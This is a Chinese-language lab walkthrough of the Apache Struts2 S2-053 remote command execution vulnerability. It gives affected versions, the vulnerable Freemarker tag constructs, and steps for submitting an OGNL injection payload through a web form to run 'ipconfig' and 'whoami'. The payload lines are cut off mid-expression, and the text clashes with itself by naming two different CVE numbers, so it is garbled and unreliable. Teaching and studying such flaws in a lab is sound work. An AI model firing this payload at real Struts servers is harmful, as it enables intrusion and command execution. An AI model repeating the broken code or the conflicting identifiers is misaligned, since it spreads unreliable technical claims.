【S2-053】Struts2远程命令执⾏漏洞(CVE-2017-12611)
实验环境
操作机:Windows 7
IP:172.16.11.2
实验⼯具
XAMPP: ⼀个功能强⼤的建站集成软件包
可以实现服务器的功能,但是只能⾃⼰访问
Firefox: 中⽂俗称‘⽕狐’,⼀个⾃由及开放源代码⽹页浏览器
漏洞介绍
继S2-052之后,Apache Struts 2再次被曝存在远程代码执⾏漏洞,漏洞编号S2-053,CVE编号CVE-2017-1000112。当开发⼈员在Freemarker标签中使⽤错误的构造时,可能会导致远程代码执⾏漏洞。
影响范围
Struts 2.0.1 - Struts 2.3.33、Struts 2.5 - Struts 2.5.10
不受影响的版本
Struts 2.5.12、Struts 2.3.34
漏洞分析
当在Freemarker标签中使⽤表达式⽂本或强制表达式时,使⽤以下请求值可能会导致远程代码执⾏
<@s.hidden name="redirectUri"value=redirectUri />
<@s.hidden name="redirectUri"value="${redirectUri}" />
这两种情况下,值属性都使⽤可写属性,都会受到Freemarker表达式影响。
步骤1:开启Tomcat服务器
cve漏洞库步骤2:访问⽬标⽹站
⽹站的⾸页有⼀个输⼊框,下⼀步中,我们将在此框中输⼊我们的payload,发起攻击。
步骤3:发送需要执⾏的恶意代码
payload代码如下:特别注意,分析上述代码,可以发现其中我们要执⾏的任意代码位于以下两处。
%{(#dm =@ognl.OgnlContext @DEFAULT_MEMBER_ACCESS ).(#_memberAccess ?(#_memberAccess =#dm ):((#container =#context ['com.opensymphony.x (#cmd ='ipconfig')
{'','/c',#cmd ='ipconfig'}
因此,如果我们要执⾏其他命令的话,⼀定要将这两处同时替换,否则命令将执⾏失败。
步骤4:漏洞验证
步骤3中,我们执⾏了命令ipconfig,点击提交按钮之后,可以在该页⾯看到⽹页返回结果如下:
将两处ipconfig修改为whoami,结果如下:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.x

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。